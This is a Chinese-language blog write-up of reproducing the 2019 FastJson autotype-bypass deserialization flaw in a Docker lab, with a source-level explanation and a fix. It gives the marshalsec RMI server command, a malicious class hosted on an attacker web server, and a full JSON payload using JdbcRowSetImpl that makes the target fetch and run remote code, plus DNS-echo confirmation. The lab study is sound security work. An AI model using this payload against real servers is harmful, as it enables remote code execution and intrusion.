首先网上查阅了下资料:
漏洞危害:严重 危 危 危。。。
FastJson最新(2019年6月)爆出的绕过方法可以通杀1.2.48版本以下所有,有传言在autotype开启的情况下可以打到1.2.57。
解决方案:
FastJson升级到最新1.2.58版本;
采用默认的关闭autotype
于是我有一个大胆的想法,想在自己本机上复现这种情况,于是查了下资料,首先需要的是一个靶场(就是一个漏洞环境),于是马上就想到了用docker来模拟这个靶场,为了模拟这个靶场和运行的攻击环境真的是太费功夫了,这里期间的坑太多了,主要记录了一下:
bug复现靶场搭建:
首先docker上面的运行环境都需要存在,包括最基本的 java 环境,python3版本,git ,docker ,maven
提到这个靶场,我无意间仿佛打开了一个新世界的大门,就是 Vulhub
由Phithon维护的Vulhub :https://github.com/phith0n/vulhub
Vulhub是一个面向大众的开源漏洞靶场,无需Docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。
由 Medicean 维护的Vulapp项目地址:
https://github.com/Medicean/VulApps
Vulapp收集各种漏洞环境,为方便使用,统一采用 Dockerfile 形式。同时也收集了安全工具环境。
这个具体搭建环境和场景我就不操作了,具体可以在网上搜索下,如果出现访问443的时候可以https://blog.csdn.net/CoreyXuu/article/details/106488361 参考
靶场环境搭建好了,我这里创建了两个环境一个是靶机和攻击者站点分别是如下图:
1.靶机:http://192.168.3.105:8090,使用docker起的靶机
2.攻击者站点:http://192.168.3.105:8080,这里用的是tomcat(nginx或其他亦可),同样使用docker起 如上图
3.攻击者RMI服务器:rmi://192.168.3.102:6666
注意:攻击者有两个服务端需要准备,分别是存放攻击代码的http://192.168.3.105:8080和rmi://192.168.3.102:6666
然后就是自己的思路了:
攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址(http://192.168.3.105:8080)加载Factory类,不受 java.rmi.server.useCodebaseOnly 系统属性的限制,所以更加通用。
但是由于JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 默认为false,即默认不允许从远程的Codebase加载Reference的工厂类(Factory Class)。
因此本文复现,基于Java 8u102环境,没有com.sun.jndi.rmi.object.trustURLCodebase的限制
漏洞复现
一:192.168.3.105:8080站点准备
二:在idea中编译以下代码,生成TouchFile.class
文件,文件代码很简单,就是为了在/tmp目录下生成success文件
工程目录
通过docker起个tomcat,在tomcat的web目录/usr/local/tomcat/webapps/ROOT/
下,放入刚刚编译好的TouchFile.class文件
RMI服务器准备
(1)从https://github.com/mbechler/marshalsec 下载源码,进入marshalsec 目录,使用mvn clean package -DskipTests
命令编译出marshalsec的jar包:
(2)进入上图marshalsec-0.0.3-SNAPSHOT.jar所在文件夹,执行java -cp marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec.jndi.RMIRefServer
"http://192.168.3.105:8080/#TouchFile" 6666 。
其中192.168.3.105:8080指向的就是放了恶意class的tomcat站点,#TouchFile指定是远程TouchFile类,最后的6666代表RMI服务监听的端口
攻击请求包构造
开bp截包,dataSourceName
对应的值中指定指明rmi服务器的地址,其中Content-Type: application/json
别忘了,靶机回500:
POST / HTTP/1.1Accept: */*Accept-Language: zh-CNUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)Host: 192.168.3.105:8080Connection: closeContent-Length: 165Content-Type: application/jsonAccept-Encoding: gzip, deflate{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.3.102:6666/TouchFile", "autoCommit":true }}
如图
rmi服务器可以看到成功收到请求,并请求http://192.168.3.105:8080/TouchFile.class:
tomcat日志中也可以看到请求成功
/tmp目录下成功生成success文件
通过DNS拿回显
在实际情况下,因为不可能会有受害机权限,往往不会通过创建文件方式来证明漏洞存在。一般常用方法是通过DNS拿回显网上是这样说的。
命令直接换成ping
同样jndi服务指向也要改下,对应tomcat的Dns.class记得放到对应目录下
dns回显成功拿到
最后看了下源码:
这次绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到map缓存,从而绕过autotype的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkautotype就会抛出异常并中止。
入口在parse方法,单步进去
一步步跟到DefaultJSONParser.java中有一段调用checkautotype,也就是检测的核心逻辑。跟进该方法
clazz = this.config.checkAutoType(typeName, (Class)null, lexer.getFeatures())
在开启的情况下,checkautotype方法类似黑名单,会进入下图逻辑,通过将类名hash后和denyHashCodes进行对比。目前有人fuzz出了部分黑名单中的类:https://github.com/LeadroyaL/fastjson-blacklist。开启的情况下,当黑名单检测命中时,根据代码逻辑,会先通过loadClass方法加载该类并返回,因此就绕过了检测。
在autotype关闭的情况下,checkautotype方法类似白名单,主要检测类是否在白名单中,也就是是否被加载。通过getClassFromMapping尝试在缓存加载该类。如果不存在,下边还会通过deserializers来找,如果都没有,下边就会抛异常。
当发送第一次请求时,Class是通过deserializers.findClass加载的,然后Class将JdbcRowSetImpl类加载进map中,然后第二次请求时,就这里就成功找到了JdbcRowSetImpl类,从而绕过检测。
加载JdbcRowSetImpl后,就和之前的payload一样了,通过JdbcRowSetImpl中的调用链,通过jndi的lookup加载远程类。
调用栈如下图
总结:脖子感觉要炸开一样死沉死沉的难受,需要休息
![b6ad9c84641eaa99b3b89c96ceab075c.png](https://i-blog.csdnimg.cn/blog_migrate/d214b291ba1d9960c91af4b14aa77b6c.jpeg)